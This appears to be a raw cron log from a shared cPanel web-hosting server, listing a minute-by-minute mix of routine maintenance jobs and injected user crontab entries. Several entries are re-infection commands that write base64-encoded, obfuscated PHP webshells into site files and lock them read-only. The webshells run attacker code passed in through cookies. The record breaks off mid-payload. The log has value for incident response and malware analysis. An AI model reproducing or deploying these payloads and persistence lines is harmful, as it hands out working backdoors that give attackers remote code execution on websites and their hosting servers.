Mar  2 16:55:02 medusa CROND[21154]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:55:02 medusa CROND[21156]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:55:02 medusa CROND[21155]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 16:55:02 medusa CROND[21158]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 16:55:02 medusa CROND[21157]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 16:55:02 medusa CROND[21169]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:55:02 medusa CROND[21170]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:55:02 medusa CROND[21174]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:55:02 medusa CROND[21175]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 16:55:02 medusa CROND[21180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:55:02 medusa CROND[21182]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 16:55:02 medusa CROND[21167]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 16:55:02 medusa CROND[21161]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 16:55:02 medusa CROND[21165]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 16:55:02 medusa CROND[21172]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 16:56:02 medusa CROND[7849]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:56:02 medusa CROND[7932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:56:02 medusa CROND[7984]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 16:56:02 medusa CROND[8034]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:56:02 medusa CROND[8037]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:56:02 medusa CROND[8039]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:56:02 medusa CROND[8035]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 16:56:02 medusa CROND[8040]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:56:02 medusa CROND[8038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:56:02 medusa CROND[8053]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:56:02 medusa CROND[8054]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:56:02 medusa CROND[8059]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:56:02 medusa CROND[8060]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:56:02 medusa CROND[8061]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:57:01 medusa CROND[26679]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:57:01 medusa CROND[26681]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 16:57:01 medusa CROND[26682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:57:01 medusa CROND[26684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:57:01 medusa CROND[26683]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:57:01 medusa CROND[26685]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:57:01 medusa CROND[26686]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:57:01 medusa CROND[26687]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:57:01 medusa CROND[26688]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:57:01 medusa CROND[26694]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOj